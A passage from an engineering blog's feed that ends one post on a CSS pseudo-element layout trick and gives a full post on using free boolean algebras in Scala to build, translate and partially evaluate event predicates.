after designs: <h3 id="old-design" style="position:relative;"><a href="#old-design" aria-label="old design permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Old Design</h3> <img src="/images/2016/04/old-design.png"> <h3 id="new-design" style="position:relative;"><a href="#new-design" aria-label="new design permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>New Design</h3> <img src="/images/2016/04/new-design.png"> Note in the new design how different sections on the screen are more distinguished with definite boundaries and background in contrast to old design where all the page content was on a single grey surface. The old design reflected in the architecture as well - every main module got the complete page structure (except the main top header and left navigation) along with it. Eg. A Campaign module (page) in the above screenshot comprises markup of the page title section, tab menu, main content and sidebar. What I am trying to put forth is that a transition between modules causes the complete module content (mentioned sections) to disappear and appear again. This was fine with old design as we need to keep the base layout (the single grey surface) intact and custom content can transition over it. But the new design bought an issue with this approach. The base layout was no more just a single grey surface, rather it got split into 4 separate distinguishable sections: <ol> <li>white page title section</li> <li>grey tab menu</li> <li>white main content section</li> <li>grey sidebar</li> </ol> And all these section's markup being part of every main module's markup, would fade in/out during page transitions which was unacceptable as the common page layout (white grey sections) would itself keep getting fade in/out along with the custom content inside them - bad experience! <h2 id="the-trick" style="position:relative;"><a href="#the-trick" aria-label="the trick permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The "Trick"</h2> The most trivial approach to retaining the page layout sections during transitions would have been to create those sections in the main markup instead of every module bringing its own 4 sections. And every module change would have simply substituted appropriate custom content inside those constant 4 sections on the page. But this would have meant a major change in the module architecture increasing the scope of the redesign project. Heres how we tackled this issue... We used the above mentioned solution but instead of dividing the content into 4 sections at root level, we created an illusion of having 4 sections always present on the page - using pseudo element &#x26; background gradients! Heres how: <img src="/images/2016/04/pseudo-layout.png"> So basically the pseudo structure always stays on the screen with all the custom content going and coming over it and giving an illusion that custom content renders inside those sections - just what we wanted for the end user! <h2 id="final-result-and-code" style="position:relative;"><a href="#final-result-and-code" aria-label="final result and code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Final result and code</h2> <iframe height='358' scrolling='no' src='//codepen.io/chinchang/embed/YqEzEQ/?height=358&theme-id=0&default-tab=result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'>See the Pen <a href='http://codepen.io/chinchang/pen/YqEzEQ/'>Pseudo layout illusion</a> by Kushagra Gour (<a href='http://codepen.io/chinchang'>@chinchang</a>) on <a href='http://codepen.io'>CodePen</a>. </iframe> <h2 id="in-the-end" style="position:relative;"><a href="#in-the-end" aria-label="in the end permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>In the End</h2> This trick (or hack as one may call) helped us achieve the desired UX without actually modifying the base module architecture and it has been working really great so far without any compromises made. Hacks are not always bad after all...its just about evaluating what is best when.</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Free objects - a generalized interpreter pattern]]></title><description><![CDATA[In the GOF book, the interpreter pattern is probably one of the most poorly described patterns. The interpreter pattern basically consists…]]></description><link>https://engineering.wingify.com//posts/Free-objects/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Free-objects/</guid><pubDate>Mon, 15 Feb 2016 00:00:00 GMT</pubDate><content:encoded>In the <a href="http://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612">GOF book</a>, the <a href="https://en.wikipedia.org/wiki/Interpreter_pattern">interpreter pattern</a> is probably one of the most poorly described patterns. The interpreter pattern basically consists of building a specialty programming language out of objects in your language, and then interpreting it on the fly. <a href="https://en.wikipedia.org/wiki/Greenspun%27s_tenth_rule">Greenspun's Tenth Rule</a> describes it as follows: <blockquote> Any sufficiently complicated C or Fortran program contains an ad hoc, informally-specified, bug-ridden, slow implementation of half of Common Lisp. </blockquote> In essence, the interpreter pattern consists of dynamically generating and transmitting code at run time instead of statically generating it at compile time. However, I believe that modern functional programming provides us some alternatives that provide functionality approaching that of embedding a lisp interpreter in our runtime, but also with some measures of type safety. I'm going to describe Free Objects, and how they can be used as a substitute for an interpreter. At Wingify, we have several important interpreters floating around in our (currently very experimental) event driven notification system. In this post I'll show how Free Boolean Algebras can drastically simplify the process of defining custom events. <h1 id="algebraic-structures" style="position:relative;"><a href="#algebraic-structures" aria-label="algebraic structures permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Algebraic structures</h1> In functional programming, there are a lot of algebraic structures that are used to write programs in a type-safe manner. <a href="https://blog.safaribooksonline.com/2013/05/15/monoids-for-programmers-a-scala-example/">Monoids</a> are one of the simplest examples - a monoid is a type <code class="language-text">T</code> together with an operation <code class="language-text">|+|</code> and an element <code class="language-text">zero[T]</code> with the following properties: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">a |+| (b |+| c) === (a |+| b) |+| c //associativity a |+| zero === a //zero</code></pre></div> A type is a monoid if it contains elements which can be added together in an associative way, together with a zero element. A number of common structures form monoids - integers (with <code class="language-text">a |+| b = a + b</code> ) are a simple example. For instance: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">3 + (5 + 7) === (3 + 5) + 7 === 15 -17 + 0 === -17</code></pre></div> But many other data structures also obey this law. Lists and strings, using <code class="language-text">|+|</code> for concatenation and either <code class="language-text">[]</code> or <code class="language-text">&quot;&quot;</code> as the zero element, are also monoids. Monoids are commonly used as data structures to represent logs, for example. Another algebraic structure is the Boolean Algebra. This is a type <code class="language-text">T</code> with three operations - <code class="language-text">&amp;</code>, <code class="language-text">|</code> and <code class="language-text">~</code>, with a rather larger set of properties: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">a &amp; (b &amp; c) === (a &amp; b) &amp; c a | (b | c) === (a | b) | c ~~a === a a &amp; (b | c) === (a &amp; b) | (a &amp; c) a | (b &amp; c) === (a | b) &amp; (a | c) a &amp; a === a a | a === a ...etc...</code></pre></div> A boolean algebra also has both a <code class="language-text">zero</code> and <code class="language-text">one</code> element, satisfying <code class="language-text">zero &amp; _ === zero</code>, <code class="language-text">zero | x === x</code>, <code class="language-text">one &amp; x === x</code> and <code class="language-text">one | _ === one</code>. There are many common boolean algebras as well - <code class="language-text">Boolean</code> of course, but also fixed-length bitmaps (with operations interpreted bitwise), functions of type <code class="language-text">T =&gt; Boolean</code> (here <code class="language-text">f &amp; g = (x =&gt; f(x) &amp;&amp; g(x))</code>, etc). There are quite a few more algebraic structures - monads provide another example. But I'm going to leave the trickier ones for another post. <h2 id="side-note-boolean-algebras-are-monoids-too" style="position:relative;"><a href="#side-note-boolean-algebras-are-monoids-too" aria-label="side note boolean algebras are monoids too permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Side note: Boolean Algebras are Monoids Too</h2> One of the interesting facts about abstract algebra is that many of these structures interact with each other in interesting ways. For example, any boolean algebra also has two monoids built into it. The operations <code class="language-text">&amp;</code> and <code class="language-text">one</code> satisfy the laws of a monoid: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">a &amp; (b &amp; c) === (a &amp; b) &amp; c a &amp; one === a</code></pre></div> Similarly, the operations <code class="language-text">|</code> and <code class="language-text">zero</code> also satisfy the monoid laws: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">a | (b | c) === (a | b) | c a | zero === a</code></pre></div> <h1 id="event-predicates---take-one" style="position:relative;"><a href="#event-predicates---take-one" aria-label="event predicates take one permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Event predicates - take one</h1> In our experimental (i.e., you can't use it yet) event based targeting system, I wanted to create an easy way for users to trigger events. I.e., I want to be able to define a formula and evaluate whether it is true or false for some event. E.g.: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">((EventType == &#39;pageview&#39;) &amp; (url == &#39;http://www.vwo.com/pricing/&#39;)) | ((EventType == &#39;custom&#39;) &amp; (custom_event_name == &#39;pricing_popup_displayed&#39;))</code></pre></div> This can be represented in Scala pretty straightforwardly: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">sealed trait EventPredicate { def matches(evt: Event): Boolean def &amp;(other: EventPredicate) = And(this, other) def |(other: EventPRedicate) = Or(this, other) ... } case class EventType(kind: String) extends EventPredicate { def matches(evt: Event) = EventLenses.eventType.get(evt) == kind }</code></pre></div> We also need boolean operators: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">case class And(a: EventPredicate, b: EventPredicate) extends EventPredicate { def matches(evt: Event) = a.matches(evt) &amp;&amp; b.matches(evt) } ...etc...</code></pre></div> Unfortunately, we have more than one type of predicate. We had quite a few requirements, in fact: <ol> <li>We want to compile some predicates to Javascript so they can be evaluated browser side.</li> <li>We want to define compound predicates for the convenience of the user. E.g. <code class="language-text">GACampaign(utm_source, utm_campaign, ...)</code> instead of <code class="language-text">URLParam(&quot;utm_source&quot;, &quot;email&quot;) &amp; URLParam(&quot;utm_campaign&quot;, &quot;ilovepuppies&quot;) &amp; ...</code>, but we'd also like to avoid re-implementing in multiple places things like parsing URL params.</li> <li>We actually have multiple types of predicate - <code class="language-text">EventPredicate</code>, <code class="language-text">UserPredicate</code>, <code class="language-text">PagePredicate</code> and we'd like to avoid duplicating code to handle simple boolean algebra stuff. We'd also like to avoid namespace collisions, so we'd need to do <code class="language-text">AndEvent</code>, <code class="language-text">AndUser</code>, etc.</li> <li>We also need to serialize these data structures to JSON, so it would be great if we could not duplicate code around things like serializing <code class="language-text">And___</code>, <code class="language-text">Or___</code>, etc.</li> </ol> The simple object-oriented approach described above doesn't really satisfy all these requirements. <h1 id="the-free-boolean-algebra" style="position:relative;"><a href="#the-free-boolean-algebra" aria-label="the free boolean algebra permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Free Boolean Algebra</h1> Ultimately, what I really want to do is the following. I want to define a set of objects, e.g.: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">case class EventType(kind: String) extends EventSpec case class URLMatch(url: String) extends EventSpec ...</code></pre></div> Then I want to be able to build a boolean algebra out of them with some sort of simple type constructor. Given an object created with this type constructor, I then need to be able to make various algebra preserving transformations. Luckily the field of abstract algebra provides a generic solution to this problem - the <a href="https://en.wikipedia.org/wiki/Free_object">Free Object</a>. A free object is a version of an algebraic structure which has no interpretation whatsoever - it's a purely symbolic way of representing that algebra. But the important thing about the free object is that it gives interpretation almost for free. More concretely, a Free Object is a <a href="http://eed3si9n.com/learning-scalaz/Functor.html">Functor</a> with a particular natural transformation. I.e., for any type <code class="language-text">T</code>, there is a type <code class="language-text">FreeObj[T]</code> with the following properties: <ol> <li>For any object <code class="language-text">t</code> of type <code class="language-text">T</code>, there is a corresponding object <code class="language-text">t.point[FreeObj]</code> having type <code class="language-text">FreeObj[T]</code>. I.e., objects outside the functor can be lifted into it.</li> <li>Let <code class="language-text">X</code> be another object having the same algebraic structure (e.g., <code class="language-text">X</code> is any boolean algebra). Then for any function <code class="language-text">f: T =&gt; X</code>, there is a natural transformation <code class="language-text">nat(f): FreeObj[T] =&gt; X</code> with the properties that (a) <code class="language-text">nat(f)(t.point) = f(t)</code> and (b) <code class="language-text">nat(f)</code> preserves the structure of the underlying algebra.</li> </ol> Preserving the structure of the underlying algebra is important - this means that for a boolean algebra, <code class="language-text">nat(f)(x &amp; y) === nat(f)(x) &amp; nat(f)(y)</code>, <code class="language-text">nat(f)(x | y) === nat(f)(x) | nat(f)(y)</code>, etc.This property of preserving the structure is called homomorphism. This bit of mathematics is, in programming terms, the API of our FreeObject. This API allows us to turn any type into a monoid/boolean algebra/etc, and it guarantees that no information whatsoever is lost by doing so. <h2 id="how-to-use-it" style="position:relative;"><a href="#how-to-use-it" aria-label="how to use it permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How to use it</h2> We've developed a library which includes Free Boolean Algebras called <a href="https://github.com/stucchio/oldmonk">Old Monk</a>. It's named after the <a href="https://en.wikipedia.org/wiki/Old_Monk">finest rum in the world</a>. Old Monk also builds on top of <a href="https://github.com/non/spire">Spire</a>, which provides various abstract algebra type classes in Scala. To create a simple Boolean algebra for events, we import the following: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">import com.vwo.oldmonk.free._ implicit val freeBoolAlgebra = FreeBoolListAlgebra //There are multiple variants type FreeBool = FreeBoolList import spire.algebra._ import spire.implicits._</code></pre></div> We then define our underlying type: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">sealed trait EventSpec case class CookieValue(key: String, value: String) extends EventSpec ...</code></pre></div> Finally, we define the predicate type: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">type EventPredicate = FreeBool[EventSpec]</code></pre></div> Combining objects is now straightforward, and uses Spire syntax: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">val pred = CookieValue(&quot;foo&quot;, &quot;bar&quot;).point[FreeBool] | URLParam(&quot;_foo&quot;, &quot;bar&quot;) val pred2 = ... val pred3 = ~pred &amp; pred2</code></pre></div> (There is an implicit in oldmonk which is smart enough to turn the <code class="language-text">URLParam</code> object into an <code class="language-text">EventPredicate</code>, but not smart enough to apply to the first one.) That's great - we've now got a boolean algebra. But how do we use it? <h3 id="evaluating-a-predicate" style="position:relative;"><a href="#evaluating-a-predicate" aria-label="evaluating a predicate permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Evaluating a predicate</h3> To evaluate a predicate, we need to use the <code class="language-text">nat</code> operation. Recall that the type of <code class="language-text">nat</code> is: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def nat[T,X](f: T =&gt; X): FreeBool[T] =&gt; X</code></pre></div> So to use this, we simply need to define how our function <code class="language-text">f</code> operates on individual <code class="language-text">EventSpec</code> objects: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def evalEventSpec(evt: Event): (EventSpec =&gt; Boolean) = (e:EventSpec) =&gt; e match { case CookieValue(k, v) =&gt; EventLenses.cookie(k).get(evt).getOrElse(false) case URLMatches(url) =&gt; EventLenses.url.get(evt) == url ... }</code></pre></div> Then by the magic of <code class="language-text">nat</code>, we can evaluate predicates: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def evaluateEventPredicate(pred: EventPredicate, event: Event): Boolean = nat(evalEventSpec(event))(pred)</code></pre></div> The logic is that <code class="language-text">evalEventSpec(event)</code> has type <code class="language-text">EventSpec =&gt; Boolean</code>. The operation <code class="language-text">nat</code> lifts this to a function mapping <code class="language-text">EventPredicate =&gt; Boolean</code>, and then this function is applied to the actual predicate. Due to the laws of the Free Boolean Algebra, we know that this method must evaluate things correctly. I.e., imagine we had a predicate <code class="language-text">a.point[FreeBool] | b.point[FreeBool]</code>. By the second law of free Boolean algebras, the homomorphism property, we know that: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">nat(f)(a.point[FreeBool] | b.point[FreeBool]) === nat(f)(a.point[FreeBool]) | nat(f)(b.point[FreeBool])</code></pre></div> By the first law, we know that: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">nat(f)(a.point[FreeBool]) === f(a) nat(f)(b.point[FreeBool]) === f(b)</code></pre></div> Substituting this in yields: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">nat(f)(a.point[FreeBool] | b.point[FreeBool]) === nat(f)(a.point[FreeBool]) | nat(f)(b.point[FreeBool]) === f(a) | f(b)</code></pre></div> Thus, the <code class="language-text">nat</code> function has faithfully created a way for us to evaluate our predicates. <h3 id="translating-predicates" style="position:relative;"><a href="#translating-predicates" aria-label="translating predicates permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Translating predicates</h3> Consider one of our other requirements - we want to build convenience predicates for the user, but we don't want to duplicate work to evaluate them. To handle this case, we'd tweak the underlying definition of our predicates a bit: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">sealed trait EventSpec sealed trait PrimitiveEventSpec extends EventSpec case class CookieValue(key: String, value: String) extends PrimitiveEventSpec ... sealed trait CompoundEventSpec extends EventSpec case class GACampaignMatches(source: String,campaign: String)</code></pre></div> We'll approach this problem in two ways. First, we'll build a translation layer - a way to translate <code class="language-text">FreeBool[EventSpec] =&gt; FreeBool[PrimitiveEventSpec]</code>. Then we'll build the evaluation layer - a way to compute <code class="language-text">FreeBool[PrimitiveEventSpec] =&gt; Boolean</code>. With this structure, we only need to define evaluation on the primitives. The translation is actually very simple with <code class="language-text">nat</code>. First we define a mapping from <code class="language-text">EventSpec =&gt; FreeBool[PrimitiveEventSpec]</code>, and then we use <code class="language-text">nat</code> to lift this function to <code class="language-text">FreeBool</code>: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def primitivizeSpec(es: EventSpec): FreeBool[PrimitiveEventSpec]) = (es: EventSpec) match { case (x: PrimitiveEventSpec) =&gt; x.point[FreeBool] case (c: CompountEventSpec) =&gt; c match { case GACampaignMatches(source, campaign) =&gt; (URLParam(&quot;utm_source&quot;, source) : FreeBool[PrimitiveEventSpec]) &amp; (URLParam(&quot;utm_campaign&quot;, campaign) : FreeBool[PrimitiveEventSpec]) ... } } val primitivize: FreeBool[EventSpec] =&gt; FreeBool[PrimitiveEventSpec] = nat(primitivizeSpec _)</code></pre></div> Then we would define evaluation the same as above: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def evalPrimitiveEventSpec(evt: Event): (EventSpec =&gt; Boolean) = (e:EventSpec) =&gt; e match { case CookieValue(k, v) =&gt; EventLenses.cookie(k).get(evt).getOrElse(false) case URLMatches(url) =&gt; EventLenses.url.get(evt) == url ... } def evaluatePrimitiveEventPredicate(pred: PrimitiveEventPredicate, event: Event): Boolean = nat(evalPrimitiveEventSpec(event))(pred)</code></pre></div> Finally we would define evaluation as: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def evaluateEventPredicate(pred: EventPredicate, event: Event): Boolean = evaluatePrimitiveEventPredicate(primitivize(pred))</code></pre></div> <h3 id="partial-evaluation" style="position:relative;"><a href="#partial-evaluation" aria-label="partial evaluation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Partial Evaluation</h3> Another cool trick this approach gives us is partial evaluation. Suppose we gain partial information about a predicate, but it's incomplete. For instance, we know that <code class="language-text">evaluate(a)</code> should be <code class="language-text">True</code> but we don't know what <code class="language-text">evaluate(b)</code> should be. Concretely, suppose we have a function: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def partialEvaluate(e: EventSpec): Option[Boolean] = ...</code></pre></div> We can then partially evaluate our predicates: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def partiallyEvaluatePredicate(e: EventPredicate) = nat( (e:EventSpec) =&gt; { partialEvaluate(e).fold( e )(x =&gt; { if (x) { True } else { False } }) })</code></pre></div> Then, supposing we know <code class="language-text">a</code> to be true but <code class="language-text">b</code> is unknown, this will evaluate to: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">partiallyEvaluatePredicate(a &amp; b) === partialEvaluate(a) &amp; partialEvaluate(b) === True &amp; b === b</code></pre></div> This is useful to us in a variety of cases. Often times we'll have a predicate which combines information known server side, and other information which is only known in the browser. Partial evaluation lets us compute the server side information, substitute this result in, and have a resulting predicate which depends only on browser-side information. The browser-side predicate can then be rendered to javascript and evaluated in the browser directly. This is pretty straightforward, in fact: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">def evaluateServerSide(e: ServerSideEventSpec): Boolean = ... def browserify(e: EventPredicate): BrowserSideEventPredicate = nat( (e:EventSpec) =&gt; e match { case (b:BrowserSideEventSpec) =&gt; b.point[FreeBool] : BrowserSideEventPredicate case (s:ServerSideEventSpec) =&gt; if (evaluateServerSide(s)) { TruePred : BrowserSideEventPredicate } else { FalsePred : BrowserSideEventPredicate } } )</code></pre></div> <h1 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h1> Free objects are a great way to build generalized interpreter patterns. Just as the <code class="language-text">FreeMonad</code> (called simply <code class="language-text">Free</code> in Scalaz) enables one to build generalized stateful computations, abstracting away the actual state, <code class="language-text">FreeBool</code> allows us to build generalized predicates and manipulate them in a straightforward manner. More generally, if you find yourself re-implementing the same algebraic structure over and over, it might be worth asking yourself if a free version of that algebraic structure exists. If so, you might save yourself a lot of work by using that. <h1 id="other-free-objects" style="position:relative;"><a href="#other-free-objects" aria-label="other free objects permalink" class="anchor before"><svg 